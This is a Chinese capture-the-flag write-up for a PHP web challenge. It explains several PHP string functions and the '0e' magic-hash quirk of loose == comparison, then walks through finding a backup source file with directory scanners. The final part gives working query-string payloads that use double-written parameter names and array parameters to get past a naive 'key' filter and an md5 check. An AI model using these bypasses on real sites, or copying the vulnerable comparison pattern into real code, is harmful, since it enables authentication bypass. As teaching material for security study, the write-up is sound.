知识点
ini_set — 为一个配置选项设置值
PHP ini_set用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置,对于虚拟空间来说,很方便
strstr — 查找字符串的首次出现,strstr() 函数搜索字符串在另一字符串里的第一次出现。
实例
查找 “python” 在 “I love python!” 里的第一次出现,并返回字符串的剩余部分:
echo strstr(“I love python!”,“python”);返回python!
$_SERVER[‘REQUEST_URI’] 这是取得当前URL的 路径地址 比如:
http://microsoft.com/question/469321857.html?push=core&group=1
他获得是这个路径:question/469321857.html?push=core&group=1
substr() 函数返回字符串的一部分。
echo substr(“Hello world”,6); 返回world
语法
substr(string,start,length)
str_replace — 子字符串替换,str_replace() 函数以其他字符替换字符串里的一些字符(区分大小写)。
echo str_replace(“world”,“python”,“Hello world!”); 返回Hello python!
语法:str_replace(find,replace,string,count)
parse_str — 将字符串解析成多个变量,parse_str() 函数把查询字符串解析到变量里。
实例:把查询字符串解析到变量里:
"; echo $age; ?>
结果:
Bill
60
补充:
md5(‘240610708’) 的结果是:0e462097431906509019562988736854
md5(‘QNKCDZO’) 的结果是:0e830400451993494058024219903391
PHP 是弱类型语言,在使用 == 号时,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。此规则也适和于 switch 语句。上述例子里的两个字符串恰好以 0e 的科学记数法开头,字符串被隐式转换为浮点数,实际上也就等效于 0×10^0 ,因此比较起来是相等的
解题流程
常用备份文件后缀:.swp,.bak
御剑扫描,发现index.php.bak文件,下载下来(若御剑扫描不出,可以通过dirsearch可以扫描出来)
备份文件:
<?php
/*** Created by PhpStorm.* User: Norse* Date: 2017/8/6* Time: 20:22
*/include_once "flag.php"; //包含flag.php
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');//设变量str的值为url里?后面的字符串
$str = substr($str,1);//设str为str里第一位开始后的字符串
$str = str_replace('key','',$str);//把str里的key替换成空
parse_str($str);//把str里的字符串解析为变量
echo md5($key1);//输出md5加密的key1
echo md5($key2);//输出md5加密的key2
if(md5($key1) == md5($key2) && $key1 !== $key2){echo $flag."取得flag";
}
/*
ini_set — 为一个配置选项设置值
PHP ini_set用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置,对于虚拟空间来说,很方便strstr — 查找字符串的首次出现,strstr() 函数搜索字符串在另一字符串里的第一次出现。
实例
查找 "python" 在 "I love python!" 里的第一次出现,并返回字符串的剩余部分:
echo strstr("I love python!","python");返回python!$_SERVER['REQUEST_URI'] 这是取得当前URL的 路径地址 比如: http://American.microsoft.com/question/469321857.html?push=core&group=1
他获得是这个路径:question/469321857.html?push=core&group=1 substr() 函数返回字符串的一部分。
echo substr("Hello world",6); 返回world
语法
substr(string,start,length)str_replace — 子字符串替换,str_replace() 函数以其他字符替换字符串里的一些字符(区分大小写)。
echo str_replace("world","PHP","Hello world!"); 返回Hello PHP!
语法:str_replace(find,replace,string,count)parse_str — 将字符串解析成多个变量,parse_str() 函数把查询字符串解析到变量里。
实例:把查询字符串解析到变量里:
<?php
parse_str("name=Bill&age=60");
echo $name."<br>";
echo $age;
?>
结果:
Bill
60
*/
?>
要key1和key2加密后的md5值相等,但是key1和key2不相等,想到md5绕过-------传md5值是0e开头的字符串
构造url:?key1=QNKCDZO&key2=s878926199a,页面并没有弹出flag
正确的payload:?kkeyey1=QNKCDZO&kkeyey2=s878926199a
用kkeyey而不用key的原因:
传入的参数带有key就会被替换为空,所以这里双写kkeyey来绕过,这样kkey ey即使key替换成空了一头一尾拼起来还是key
或者输入http://114.67.246.176:13427/index.php?kkeyey1=QNKCDZO&kkeyey2=240610708
或者输入?kekeyy1[]=1&kekeyy2[]=2(即null==null)